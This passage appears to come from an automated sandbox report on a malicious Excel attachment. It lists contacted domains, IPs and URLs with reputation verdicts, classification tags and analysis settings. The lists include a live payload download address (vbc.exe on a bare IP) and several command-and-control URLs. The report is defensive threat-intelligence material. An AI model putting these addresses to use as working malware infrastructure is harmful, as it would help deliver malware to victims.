          http://www.gritslab.com/u2kb/?MX=ydCzFiH7iMWnz6xHMbeyIS2EYayY5efYQUsmgPEoYCSsyD6HgT3yOGCjssC2N8mKn+GjINYvhr7iKNK7QGdClLf278PMkWXjYWxIQds=&uFI_=sroxa_9G7qh93100%Avira URL Cloudmalware
          http://www.thewildphotographer.co.uk/u2kb/t100%Avira URL Cloudmalware
          http://www.ecomofietsen.com/u2kb/-wA100%Avira URL Cloudmalware
          http://www.germanreps.com/u2kb/5fQ100%Avira URL Cloudmalware
          http://www.avisrezervee.com0%Avira URL Cloudsafe
          http://www.bitservicesltd.com0%Avira URL Cloudsafe
          http://www.gritslab.com0%Avira URL Cloudsafe
          http://www.younrock.comReferer:0%Avira URL Cloudsafe
          http://www.thewildphotographer.co.uk/u2kb/100%Avira URL Cloudmalware
          http://www.white-hat.uk/u2kb/100%Avira URL Cloudmalware
          http://www.energyservicestation.com/u2kb/100%Avira URL Cloudmalware
          http://www.germanreps.comReferer:0%Avira URL Cloudsafe
          http://www.employerseervices.com/u2kb/www.employerseervices.com0%Avira URL Cloudsafe
          http://www.thewildphotographer.co.uk0%Avira URL Cloudsafe
          http://www.222ambking.org/u2kb/www.222ambking.org100%Avira URL Cloudmalware
          http://www.shapshit.xyzReferer:0%Avira URL Cloudsafe
          http://www.energyservicestation.com0%Avira URL Cloudsafe
          http://www.employerseervices.com/u2kb/0%Avira URL Cloudsafe
          http://www.222ambking.org/u2kb/l100%Avira URL Cloudmalware
          http://localizability/practices/XMLConfiguration.asp0%Avira URL Cloudsafe
          http://www.gritslab.comReferer:0%Avira URL Cloudsafe
          http://www.employerseervices.com/u2kb/EJ0%Avira URL Cloudsafe

          Domains and IPs

          Contacted Domains

          NameIPActiveMaliciousAntivirus DetectionReputation
          www.bitservicesltd.com
          		161.97.163.8
          		truetrue
            		unknown
            www.222ambking.org
            		91.195.240.94
            		truefalse
              		unknown
              white-hat.uk
              		94.176.104.86
              		truetrue
                		unknown
                www.sqlite.org
                		45.33.6.223
                		truefalse
                  		high
                  gritslab.com
                  		78.141.192.145
                  		truetrue
                    		unknown
                    www.white-hat.uk
                    		unknown
                    		unknowntrue
                      		unknown
                      www.gritslab.com
                      		unknown
                      		unknowntrue
                        		unknown

                        Contacted URLs

                        NameMaliciousAntivirus DetectionReputation
                        http://103.189.202.84/889r12/vbc.exetrue
                        • Avira URL Cloud: malware
                        		unknown
                        http://www.bitservicesltd.com/u2kb/true
                        • Avira URL Cloud: malware
                        		unknown
                        http://www.gritslab.com/u2kb/true
                        • Avira URL Cloud: malware
                        		unknown
                        http://www.bitservicesltd.com/u2kb/?MX=rr+sOBvEXsBdGevUkpEFvjOGSuYjzi1YNHmXivr92FQhRIIYsedR2a+6GoV1WAKeGdj+MTdX512lJXnwfbSEi+kURcMlXNjU4ipRv+g=&uFI_=sroxa_9G7qh93true
                        • Avira URL Cloud: malware
                        		unknown
                        http://www.white-hat.uk/u2kb/?MX=PXfMycAZpTAipct8YcIlv+jRzdgnyvgF2k7967nf/qU1A0mUqq9Jlnm9rK8XSf3D04yKTuePtKPnTC045fzMwSdM+ozxnu9rCO36QPo=&uFI_=sroxa_9G7qh93true
                        • Avira URL Cloud: malware
                        		unknown
                        http://www.sqlite.org/2017/sqlite-dll-win32-x86-3170000.zipfalse
                          		high
                          http://www.gritslab.com/u2kb/?MX=ydCzFiH7iMWnz6xHMbeyIS2EYayY5efYQUsmgPEoYCSsyD6HgT3yOGCjssC2N8mKn+GjINYvhr7iKNK7QGdClLf278PMkWXjYWxIQds=&uFI_=sroxa_9G7qh93true
                          • Avira URL Cloud: malware
                          		unknown

                          URLs from Memory and Binaries

                          NameSourceMaliciousAntivirus DetectionReputation
                          https://duckduckgo.com/chrome_newtabwscript.exe, 00000010.00000003.1125814665.0000000006554000.00000004.00000020.00020000.00000000.sdmp, HI4NJ046K.16.drfalse
                            		high
                            https://duckduckgo.com/ac/?q=wscript.exe, 00000010.00000003.1125814665.0000000006554000.00000004.00000020.00020000.00000000.sdmp, HI4NJ046K.16.drfalse
                              		high
                              http://www.gritslab.com/u2kb/www.gritslab.comexplorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmptrue
                              • Avira URL Cloud: malware
                              		unknown
                              http://www.iis.fhg.de/audioPAexplorer.exe, 0000000C.00000000.1040826982.00000000046D0000.00000002.00000001.00040000.00000000.sdmpfalse
                              • URL Reputation: safe
                              		unknown
                              http://www.thedivinerudraksha.com/u2kb/firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmptrue
                              • Avira URL Cloud: malware
                              		unknown
                              http://www.mozilla.com0wscript.exe, 00000010.00000003.1125600882.0000000006562000.00000004.00000020.00020000.00000000.sdmpfalse
                              • URL Reputation: safe
                              		unknown
                              http://treyresearch.netexplorer.exe, 0000000C.00000000.1040826982.00000000046D0000.00000002.00000001.00040000.00000000.sdmpfalse
                              • URL Reputation: safe
                              		unknown
                              http://www.germanreps.comexplorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpfalse
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.white-hat.uk/u2kb/www.white-hat.ukexplorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmptrue
                              • Avira URL Cloud: malware
                              		unknown
                              http://www.fclaimrewardccpointq.shopReferer:firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpfalse
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.energyservicestation.com/u2kb/www.energyservicestation.comexplorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmptrue
                              • Avira URL Cloud: malware
                              		unknown
                              http://www.energyservicestation.comReferer:firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpfalse
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.white-hat.ukexplorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpfalse
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.un-object.com/u2kb/firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmptrue
                              • Avira URL Cloud: malware
                              		unknown
                              http://www.mygloballojistik.online/u2kb/explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpfalse
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.avisrezervee.comReferer:firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpfalse
                              • Avira URL Cloud: safe
                              		unknown
                              http://computername/printers/printername/.printerexplorer.exe, 0000000C.00000000.1040826982.00000000046D0000.00000002.00000001.00040000.00000000.sdmpfalse
                              • Avira URL Cloud: safe
                              		low
                              http://www.autoitscript.com/autoit3explorer.exe, 0000000C.00000002.1184285879.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.1003655931.0000000000335000.00000004.00000020.00020000.00000000.sdmpfalse
                                		high
                                http://servername/isapibackend.dllexplorer.exe, 0000000C.00000000.1042727006.0000000006450000.00000002.00000001.00040000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		low
                                http://www.fclaimrewardccpointq.shop/u2kb/www.fclaimrewardccpointq.shopexplorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmptrue
                                • Avira URL Cloud: malware
                                		unknown
                                http://www.fclaimrewardccpointq.shop/u2kb/firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmptrue
                                • Avira URL Cloud: malware
                                		unknown
                                http://www.windows.com/pctv.explorer.exe, 0000000C.00000000.1037108561.0000000003B10000.00000002.00000001.00040000.00000000.sdmpfalse
                                  		high
                                  http://103.189.202.84/889r12/vbc.exehhC:EQNEDT32.EXE, 00000002.00000002.969457766.000000000068E000.00000004.00000020.00020000.00000000.sdmptrue
                                  • Avira URL Cloud: malware
                                  		unknown
                                  http://www.222ambking.orgReferer:firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://white-hat.uk/u2kb/?MX=PXfMycAZpTAipct8YcIlvexplorer.exe, 0000000C.00000002.1194344486.000000000BD76000.00000004.80000000.00040000.00000000.sdmp, wscript.exe, 00000010.00000002.1185783285.0000000002CC6000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000012.00000002.1138870439.0000000001276000.00000004.80000000.00040000.00000000.sdmptrue
                                  • Avira URL Cloud: malware
                                  		unknown
                                  http://www.younrock.comexplorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=wscript.exe, 00000010.00000003.1125814665.0000000006554000.00000004.00000020.00020000.00000000.sdmp, HI4NJ046K.16.drfalse
                                    		high
                                    http://nsis.sf.net/NSIS_ErrorErrorvbc.exe, 00000005.00000000.968983697.000000000040A000.00000008.00000001.01000000.00000005.sdmp, vbc.exe, 00000005.00000002.1002708792.000000000040A000.00000004.00000001.01000000.00000005.sdmp, vbc.exe.2.drfalse
                                      		high
                                      http://windowsmedia.com/redir/services.asp?WMPFriendly=trueexplorer.exe, 0000000C.00000000.1037108561.0000000003CF7000.00000002.00000001.00040000.00000000.sdmpfalse
                                      • URL Reputation: safe
                                      		unknown
                                      http://www.un-object.com/u2kb/www.un-object.comexplorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmptrue
                                      • Avira URL Cloud: malware
                                      		unknown
                                      http://www.thedivinerudraksha.comReferer:firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpfalse
                                      • Avira URL Cloud: safe
                                      		unknown
                                      http://www.avisrezervee.com/u2kb/explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmptrue
                                      • Avira URL Cloud: malware
                                      		unknown
                                      http://www.mygloballojistik.online/u2kb/www.mygloballojistik.onlineexplorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmpfalse
                                      • Avira URL Cloud: safe
                                      		unknown
                                      http://www.thedivinerudraksha.com/u2kb/www.thedivinerudraksha.comexplorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmptrue
                                      • Avira URL Cloud: malware
                                      		unknown
                                      https://www.google.com/favicon.icoHI4NJ046K.16.drfalse
                                        		high
                                        http://java.sun.comexplorer.exe, 0000000C.00000002.1184285879.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.1003655931.0000000000335000.00000004.00000020.00020000.00000000.sdmpfalse
                                        • URL Reputation: safe
                                        		unknown
                                        http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.explorer.exe, 0000000C.00000002.1184919197.0000000001DD0000.00000002.00000001.00040000.00000000.sdmpfalse
                                          		high
                                          http://www.ecomofietsen.com/u2kb/explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmptrue
                                          • Avira URL Cloud: malware
                                          		unknown
                                          http://www.shapshit.xyz/u2kb/firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmptrue
                                          • Avira URL Cloud: malware
                                          		unknown
                                          http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanervexplorer.exe, 0000000C.00000002.1193741517.000000000869E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.1184285879.00000000003A6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.1046889553.0000000008807000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.1003655931.00000000003A6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.1046750282.000000000869E000.00000004.00000001.00020000.00000000.sdmpfalse
                                            		high
                                            http://www.employerseervices.comexplorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.222ambking.org/u2kb/explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpfalse
                                            • Avira URL Cloud: malware
                                            		unknown
                                            http://www.white-hat.ukReferer:firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.ecomofietsen.com/u2kb/www.ecomofietsen.comexplorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmptrue
                                            • Avira URL Cloud: malware
                                            		unknown
                                            http://www.un-object.comReferer:firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.bitservicesltd.com/u2kb/www.bitservicesltd.comexplorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmptrue
                                            • Avira URL Cloud: malware
                                            		unknown
                                            http://103.189.202.84/889r12/vbc.exerEQNEDT32.EXE, 00000002.00000002.969457766.0000000000699000.00000004.00000020.00020000.00000000.sdmptrue
                                            • Avira URL Cloud: malware
                                            		unknown
                                            http://www.avisrezervee.com/u2kb/www.avisrezervee.comexplorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmptrue
                                            • Avira URL Cloud: malware
                                            		unknown
                                            http://www.msnbc.com/news/ticker.txtexplorer.exe, 0000000C.00000000.1037108561.0000000003B10000.00000002.00000001.00040000.00000000.sdmpfalse
                                              		high
                                              http://www.bitservicesltd.comReferer:firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://103.189.202.84/889r12/vbc.exejEQNEDT32.EXE, 00000002.00000002.969912964.00000000035B0000.00000004.00000020.00020000.00000000.sdmptrue
                                              • Avira URL Cloud: malware
                                              		unknown
                                              http://localizability/practices/XML.aspexplorer.exe, 0000000C.00000000.1037108561.0000000003CF7000.00000002.00000001.00040000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		low
                                              http://www.piriform.com/ccleanerqexplorer.exe, 0000000C.00000000.1036283389.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.1186521094.0000000002CBF000.00000004.00000001.00020000.00000000.sdmpfalse
                                                		high
                                                http://www.thewildphotographer.co.uk/u2kb/www.thewildphotographer.co.ukexplorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmpfalse
                                                • Avira URL Cloud: malware
                                                		unknown
                                                http://www.mygloballojistik.onlineexplorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpfalse
                                                • Avira URL Cloud: safe
                                                		unknown
                                                http://www.mygloballojistik.onlineReferer:firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpfalse
                                                • Avira URL Cloud: safe
                                                		unknown
                                                http://www.shapshit.xyzexplorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpfalse
                                                • Avira URL Cloud: safe
                                                		unknown
                                                http://www.thewildphotographer.co.uk/u2kb/tfirefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpfalse
                                                • Avira URL Cloud: malware
                                                		unknown
                                                http://www.ecomofietsen.comexplorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpfalse
                                                • Avira URL Cloud: safe
                                                		unknown
                                                http://www.thedivinerudraksha.comexplorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpfalse
                                                • Avira URL Cloud: safe
                                                		unknown
                                                http://www.ecomofietsen.com/u2kb/-wAfirefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmptrue
                                                • Avira URL Cloud: malware
                                                		unknown
                                                http://www.icra.org/vocabulary/.explorer.exe, 0000000C.00000000.1037108561.0000000003CF7000.00000002.00000001.00040000.00000000.sdmpfalse
                                                • URL Reputation: safe
                                                		unknown
                                                http://crl.thawte.com/ThawteTimestampingCA.crl0wscript.exe, 00000010.00000003.1125600882.0000000006562000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  		high
                                                  http://www.employerseervices.com/u2kb/www.employerseervices.comexplorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  		unknown
                                                  http://www.germanreps.com/u2kb/5fQfirefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpfalse
                                                  • Avira URL Cloud: malware
                                                  		unknown
                                                  http://www.energyservicestation.com/u2kb/explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpfalse
                                                  • Avira URL Cloud: malware
                                                  		unknown
                                                  http://investor.msn.com/explorer.exe, 0000000C.00000000.1037108561.0000000003B10000.00000002.00000001.00040000.00000000.sdmpfalse
                                                    		high
                                                    http://www.avisrezervee.comexplorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpfalse
                                                    • Avira URL Cloud: safe
                                                    		unknown
                                                    http://www.bitservicesltd.comexplorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.1190328364.0000000004B12000.00000040.80000000.00040000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpfalse
                                                    • Avira URL Cloud: safe
                                                    		unknown
                                                    http://www.thewildphotographer.co.uk/u2kb/explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpfalse
                                                    • Avira URL Cloud: malware
                                                    		unknown
                                                    http://www.white-hat.uk/u2kb/explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpfalse
                                                    • Avira URL Cloud: malware
                                                    		unknown
                                                    http://www.younrock.comReferer:firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpfalse
                                                    • Avira URL Cloud: safe
                                                    		unknown
                                                    http://www.%s.comPAexplorer.exe, 0000000C.00000002.1184919197.0000000001DD0000.00000002.00000001.00040000.00000000.sdmpfalse
                                                    • URL Reputation: safe
                                                    		low
                                                    http://www.piriform.com/ccleanervexplorer.exe, 0000000C.00000002.1189212475.0000000004385000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.1039865017.0000000004385000.00000004.00000001.00020000.00000000.sdmpfalse
                                                      		high
                                                      http://www.germanreps.comReferer:firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      http://www.gritslab.comexplorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      http://www.thewildphotographer.co.ukexplorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      http://www.sqlite.org/copyright.html.wscript.exe, 00000010.00000002.1187920815.0000000061EA3000.00000008.00000001.01000000.00000008.sdmpfalse
                                                        		high
                                                        http://www.222ambking.org/u2kb/www.222ambking.orgexplorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmpfalse
                                                        • Avira URL Cloud: malware
                                                        		unknown
                                                        http://www.shapshit.xyzReferer:firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://investor.msn.comexplorer.exe, 0000000C.00000000.1037108561.0000000003B10000.00000002.00000001.00040000.00000000.sdmpfalse
                                                          		high
                                                          http://www.energyservicestation.comexplorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpfalse
                                                          • Avira URL Cloud: safe
                                                          		unknown
                                                          http://www.gritslab.comReferer:firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpfalse
                                                          • Avira URL Cloud: safe
                                                          		unknown
                                                          http://wellformedweb.org/CommentAPI/explorer.exe, 0000000C.00000000.1040826982.00000000046D0000.00000002.00000001.00040000.00000000.sdmpfalse
                                                          • URL Reputation: safe
                                                          		unknown
                                                          https://crash-reports.mozilla.com/submit?id=wscript.exe, 00000010.00000003.1126038884.00000000053D0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                            		high
                                                            http://www.employerseervices.com/u2kb/explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpfalse
                                                            • Avira URL Cloud: safe
                                                            		unknown
                                                            http://www.employerseervices.com/u2kb/EJfirefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpfalse
                                                            • Avira URL Cloud: safe
                                                            		unknown
                                                            http://ocsp.thawte.com0wscript.exe, 00000010.00000003.1125600882.0000000006562000.00000004.00000020.00020000.00000000.sdmpfalse
                                                            • URL Reputation: safe
                                                            		unknown
                                                            http://www.piriform.com/ccleaner1SPS0explorer.exe, 0000000C.00000002.1193489586.0000000008611000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.1046307432.0000000008611000.00000004.00000001.00020000.00000000.sdmpfalse
                                                              		high
                                                              http://www.222ambking.org/u2kb/lfirefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpfalse
                                                              • Avira URL Cloud: malware
                                                              		unknown
                                                              http://localizability/practices/XMLConfiguration.aspexplorer.exe, 0000000C.00000000.1037108561.0000000003CF7000.00000002.00000001.00040000.00000000.sdmpfalse
                                                              • Avira URL Cloud: safe
                                                              		low
                                                              https://search.yahoo.com/favicon.icohttps://search.yahoo.com/searchwscript.exe, 00000010.00000003.1125814665.0000000006554000.00000004.00000020.00020000.00000000.sdmp, HI4NJ046K.16.drfalse
                                                                		high
                                                                http://www.hotmail.com/oeexplorer.exe, 0000000C.00000000.1037108561.0000000003B10000.00000002.00000001.00040000.00000000.sdmpfalse
                                                                  		high

                                                                  World Map of Contacted IPs

                                                                  • No. of IPs < 25%
                                                                  • 25% < No. of IPs < 50%
                                                                  • 50% < No. of IPs < 75%
                                                                  • 75% < No. of IPs

                                                                  Public IPs

                                                                  IPDomainCountryFlagASNASN NameMalicious
                                                                  45.33.6.223
                                                                  		www.sqlite.orgUnited States
                                                                  		63949LINODE-APLinodeLLCUSfalse
                                                                  78.141.192.145
                                                                  		gritslab.comFrance
                                                                  		20473AS-CHOOPAUStrue
                                                                  161.97.163.8
                                                                  		www.bitservicesltd.comUnited States
                                                                  		51167CONTABODEtrue
                                                                  103.189.202.84
                                                                  		unknownunknown
                                                                  		7575AARNET-AS-APAustralianAcademicandResearchNetworkAARNetrue
                                                                  94.176.104.86
                                                                  		white-hat.ukRomania
                                                                  		5588GTSCEGTSCentralEuropeAntelGermanyCZtrue

                                                                  Private

                                                                  IP
                                                                  192.168.2.255

                                                                  General Information

                                                                  Joe Sandbox Version:37.0.0 Beryl
                                                                  Analysis ID:830388
                                                                  Start date and time:2023-03-20 10:32:12 +01:00
                                                                  Joe Sandbox Product:CloudBasic
                                                                  Overall analysis duration:0h 12m 4s
                                                                  Hypervisor based Inspection enabled:false
                                                                  Report type:light
                                                                  Cookbook file name:defaultwindowsofficecookbook.jbs
                                                                  Analysis system description:Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
                                                                  Number of analysed new started processes analysed:18
                                                                  Number of new started drivers analysed:0
                                                                  Number of existing processes analysed:0
                                                                  Number of existing drivers analysed:0
                                                                  Number of injected processes analysed:1
                                                                  Technologies:
                                                                  • HCA enabled
                                                                  • EGA enabled
                                                                  • HDC enabled
                                                                  • GSI enabled (VBA)
                                                                  • AMSI enabled
                                                                  Analysis Mode:default
                                                                  Analysis stop reason:Timeout
                                                                  Sample file name:d0#U10dc.xls
                                                                  Original Sample Name:P72215__7_-.xls
                                                                  Detection:MAL
                                                                  Classification:mal100.rans.troj.spyw.expl.evad.winXLS@27/74@6/6
                                                                  EGA Information:
                                                                  • Successful, ratio: 100%
                                                                  HDC Information:
                                                                  • Successful, ratio: 40.6% (good quality ratio 38.1%)
                                                                  • Quality average: 75.1%
                                                                  • Quality standard deviation: 29.5%
                                                                  HCA Information:
                                                                  • Successful, ratio: 100%
                                                                  • Number of executed functions: 0
                                                                  • Number of non-executed functions: 0
                                                                  Cookbook Comments:
                                                                  • Found application associated with file extension: .xls
                                                                  • Found Word or Excel or PowerPoint or XPS Viewer
                                                                  • Attach to Office via COM
                                                                  • Active ActiveX Object
                                                                  • Active ActiveX Object
                                                                  • Active ActiveX Object
                                                                  • Active ActiveX Object
                                                                  • Active ActiveX Object
                                                                  • Active ActiveX Object
                                                                  • Active ActiveX Object
                                                                  • Active ActiveX Object
                                                                  • Active ActiveX Object
                                                                  • Active ActiveX Object
                                                                  • Active ActiveX Object
                                                                  • Scroll down
                                                                  • Close Viewer

                                                                  Warnings

                                                                  • Exclude process from analysis (whitelisted): dllhost.exe, conhost.exe, svchost.exe
                                                                  • TCP Packets have been reduced to 100
                                                                  • Excluded IPs from analysis (whitelisted): 2.21.22.179, 2.21.22.155, 23.36.224.131
                                                                  • Excluded domains from analysis (whitelisted): ssl.adobe.com.edgekey.net, armmf.adobe.com, acroipm2.adobe.com.edgesuite.net, e4578.dscb.akamaiedge.net, a122.dscd.akamai.net, acroipm2.adobe.com
                                                                  • Not all processes where analyzed, report is missing behavior information
                                                                  • Report creation exceeded maximum time and may have missing disassembly code information.
                                                                  • Report size exceeded maximum capacity and may have missing behavior information.
                                                                  • Report size getting too big, too many NtCreateFile calls found.
                                                                  • Report size getting too big, too many NtEnumerateKey calls found.
                                                                  • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                  • Report size getting too big, too many NtQueryAttributesFile calls found.
                                                                  • Report size getting too big, too many NtQueryValueKey calls found.
                                                                  • VT rate limit hit for: d0#U10dc.xls

                                                                  Simulations

                                                                  Behavior and APIs

                                                                  TimeTypeDescription
                                                                  10:32:44API Interceptor99x Sleep call for process: EQNEDT32.EXE modified
                                                                  10:32:53API Interceptor591x Sleep call for process: AcroRd32.exe modified
                                                                  10:33:01API Interceptor44x Sleep call for process: RdrCEF.exe modified
                                                                  10:33:02API Interceptor17x Sleep call for process: mcwfy.exe modified
                                                                  10:33:05API Interceptor2317x Sleep call for process: explorer.exe modified
                                                                  10:33:30API Interceptor617x Sleep call for process: wscript.exe modified

                                                                  Joe Sandbox View / Context

                                                                  IPs

                                                                  ⊘No context

                                                                  Domains

                                                                  ⊘No context

                                                                  ASNs

                                                                  ⊘No context

                                                                  JA3 Fingerprints

                                                                  ⊘No context

                                                                  Dropped Files

                                                                  ⊘No context

                                                                  Created / dropped Files

